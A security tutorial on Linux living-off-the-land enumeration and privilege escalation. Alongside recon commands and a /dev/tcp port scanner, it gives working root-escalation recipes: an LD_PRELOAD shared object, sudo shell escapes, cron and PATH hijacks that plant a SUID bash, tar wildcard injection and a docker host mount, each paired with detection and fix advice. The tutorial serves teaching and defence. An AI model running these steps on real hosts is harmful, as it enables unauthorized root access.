Living off the land on Linux: local enumeration for privilege escalation

  • linux
  • privilege-escalation
  • enumeration
  • lotl

Proof of concept on GitHub

You landed a shell on a Linux host as some unprivileged service or user. Before reaching for a toolkit, remember that the box already carries almost everything you need: bash, coreutils, /proc, and the standard admin binaries. Living off the land means enumerating with those alone. It is quieter than dropping tooling, it works when egress or a read-only filesystem stops you from downloading anything, and it is exactly what a defender should be able to see. Everything here is read-only reconnaissance whose purpose is to find the path up; the exploitation step for a given finding lives in references like GTFOBins, not in this post.

Know where you stand

id; whoami; hostname
uname -a; cat /etc/os-release
echo "$PATH"; echo "$SHELL"

Your user, your groups, the kernel and distribution (which bounds kernel-exploit options), and your PATH (which hints at hijack opportunities) frame everything that follows.

A port scanner in bash

No nmap on the box? Bash speaks TCP through /dev/tcp, so a connect scan needs nothing extra:

# Scan localhost ports 1-1024
for p in $(seq 1 1024); do
  (echo >/dev/tcp/127.0.0.1/"$p") 2>/dev/null && echo "open: $p"
done

# Check one host:port
timeout 1 bash -c 'echo >/dev/tcp/10.0.0.5/22' 2>/dev/null && echo open || echo closed

# Sweep a small range for a live service
for h in $(seq 1 254); do
  (echo >/dev/tcp/10.0.0.$h/445) 2>/dev/null && echo "10.0.0.$h:445 open"
done

This finds services bound to loopback that are invisible from the network, which are often the most interesting, and it maps reachable neighbors for a pivot. It is also loud: a shell opening hundreds of connections in a burst is a strong signal (see Detection).

Network enumeration

ip -4 addr; ip route                 # interfaces and routes, your pivot map
ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null   # listening sockets and owning PIDs
cat /proc/net/tcp 2>/dev/null        # sockets even without ss/netstat (hex-encoded)
cat /etc/hosts /etc/resolv.conf      # name resolution and hardcoded hosts
ip neigh                             # ARP cache, recently seen neighbors

Listening sockets tell you what runs locally and under which PID; routes and the ARP cache tell you what else is reachable from here.

User enumeration

cat /etc/passwd | awk -F: '$3>=1000 || $1=="root"{print}'   # real users and root
getent group | grep -vE ':$'                                # groups and members
sudo -n -l 2>/dev/null                                      # what you may run via sudo
w; who; last -n 20                                          # who is on, who was on
ls -la /home/*/ ~/.ssh 2>/dev/null                          # readable homes, keys
find / -name "*.bak" -o -name "id_rsa" 2>/dev/null          # stray keys and backups

The questions are: which accounts have real shells, which group memberships are powerful (docker, lxd, disk, sudo, adm), what you are allowed to run as another user, and whether anyone left a key or backup readable.

The privilege-escalation surface

This is enumeration, not exploitation: each check surfaces a path, and the actual technique for turning a given finding into root is catalogued at GTFOBins and the usual references.

# SUID / SGID binaries: a non-standard entry is often the whole game
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# File capabilities (cap_setuid on a binary is as good as SUID)
getcap -r / 2>/dev/null

# sudo rights, already gathered above with: sudo -n -l

# Scheduled jobs, and whether any script they run is writable by you
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/null

# Writable entries on PATH, world-writable files, a writable passwd
echo "$PATH" | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "writable PATH dir: $d"; done
find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'
ls -la /etc/passwd /etc/shadow 2>/dev/null

# Root-owned processes and services you might influence
ps -eo user,pid,cmd | awk '$1=="root"'
systemctl list-units --type=service --state=running 2>/dev/null

# NFS exports with no_root_squash, container escapes
cat /etc/exports 2>/dev/null
id | grep -qE 'docker|lxd' && echo "container group membership: likely root-equivalent"

Read each result for the privilege boundary it crosses: a SUID binary that is not on the distro's standard list, a capability like cap_setuid on an ordinary program, a cron job that runs a script you can edit, a writable directory ahead of the real one on PATH, a world-writable /etc/passwd, or membership in a group that is root-equivalent. Any one of those is usually the escalation; the reference tells you how.

From a finding to root: small tricks

Each of these needs a specific finding from the section above. None is new, but they are the ones people skim past, and any one can be the short hop from user to root. For a defender the fix lines are the point: close the misconfiguration and the trick evaporates.

sudo keeps LD_PRELOAD. sudo -l shows env_keep += LD_PRELOAD. A shared object that runs on load, preloaded into any allowed command, runs as root:

// evil.c   gcc -fPIC -shared -nostartfiles -o /tmp/evil.so evil.c
#include <stdlib.h>
void _init(){ setuid(0); system("/bin/bash -p"); }
sudo LD_PRELOAD=/tmp/evil.so <any-allowed-command>

Detect: sudo invoked with LD_* in its environment, or a root process mapping a .so out of /tmp (/proc/<pid>/maps, auditd). Fix: remove LD_PRELOAD and LD_LIBRARY_PATH from env_keep.

sudo on a GTFOBins binary. sudo -l allows an interpreter, pager, or editor with a known escape:

sudo awk 'BEGIN{system("/bin/sh")}'   # also vi, less, find -exec, env, man, ...

Detect: a sudo child that is a shell. Fix: never grant sudo on interpreters, pagers, or editors; keep commands narrow and absolute.

Writable root cron (or its script). A job runs as root and you can edit the script or its directory:

echo 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb' >> /path/root-cron.sh
# after it runs:
/tmp/rb -p

Detect: modification of cron scripts, a SUID bash appearing, a root cron spawning cp/chmod. Fix: root-owned, non-writable cron scripts; watch /etc/cron*.

PATH hijack on a root job. A root cron or script calls a command by bare name (tar, backup) and you control an earlier PATH entry:

printf '#!/bin/sh\ncp /bin/bash /tmp/rb; chmod 4755 /tmp/rb\n' > /writable-dir/tar
chmod +x /writable-dir/tar

Detect: an unexpected executable in a PATH directory, root running a binary from an odd location. Fix: absolute paths in root scripts; no writable PATH directories.

File capability cap_setuid. getcap -r / shows it on, say, a Python build:

/path/python -c 'import os; os.setuid(0); os.system("/bin/bash -p")'

Detect: a getcap baseline, and a capability-bearing program spawning a shell. Fix: strip capabilities that are not required, never on interpreters.

tar wildcard injection. A root cron runs tar czf out.tar * in a directory you can write:

cd /writable-dir
echo 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb' > x.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh x.sh'   # tar reads the filenames as options

Detect: files named like options, tar spawning sh. Fix: never glob an untrusted directory in a root job; pass explicit paths or --.

Writable systemd unit or timer. A .service ExecStart target or unit file is writable and runs as root. Point ExecStart at your command, then trigger the unit or wait for the timer. Detect: unit-file changes, systemd launching an unexpected ExecStart. Fix: root-owned units, no user-writable ExecStart binaries.

docker or lxd group. Membership is root-equivalent through the daemon:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh   # host filesystem as root

Detect: a non-admin invoking docker/lxc, a container mounting host root. Fix: treat these groups as administrator, do not hand them out.

Kernel and known CVEs. When the misconfigurations are clean, the kernel version from uname -r is the last resort: the pwnkit (CVE-2021-4034), dirtypipe (CVE-2022-0847), and similar local-root classes target specific version ranges. This post does not carry exploit code for them; identify the version, check whether a maintained public exploit matches, and detect the attempt by watching for the exploit's known artifacts (for pwnkit, pkexec crashing or spawning a root shell) and by patching so the range no longer applies.

Detection

This activity is read-only, but it is not quiet. The signal is a burst of reconnaissance from one shell in a short window.

  • auditd on the recon binaries. Log executions of the tools this enumeration leans on and reads of the sensitive files:

    -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/find -k recon
    -a always,exit -F arch=b64 -S execve -F exe=/usr/sbin/getcap -k recon
    -w /etc/shadow -p r -k shadow_read
    -w /etc/exports -p r -k exports_read
    

    A single user firing find, getcap, sudo -l, ss, and reads of /etc/passwd within seconds is the enumeration pattern, not normal use.

  • The bash port scanner. A shell opening many short-lived TCP connections to sequential ports, especially to loopback or across a subnet, stands out in connection telemetry and in /proc socket churn. A /dev/tcp loop also shows up as the shell process itself holding the connections, with no scanner binary involved.

  • Shell history and process ancestry. A web or application service account whose shell suddenly runs interactive recon, with a process tree rooted in that service, is high-signal regardless of the individual commands.

Hardening, briefly

Least privilege for service accounts, remove SUID from anything that does not need it and audit the rest against a baseline, keep sudo rules tight and specific, patch the kernel so version-based exploits close, and keep auditd on with rules like the above so the enumeration burst is recorded. The point is not to stop a legitimate operator from reading the system; it is to make the recon burst visible and to shrink what any single finding can escalate to.

If the shell is inside a container, Linux container escapes continues from the docker/lxd group and host-mount findings here. The Windows counterpart to this post is Windows local privilege escalation.

Use

Authorized and educational use only: your own systems, a lab you control, or an engagement with written permission. These are read-only enumeration commands meant to map a host you are authorized to assess and to show defenders what that mapping looks like, not to act against systems you do not own.

Proof of concept on GitHub

Back to all techniques